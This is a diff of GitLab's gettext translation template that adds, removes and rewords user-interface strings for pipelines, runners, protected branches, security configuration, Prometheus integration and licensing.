@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
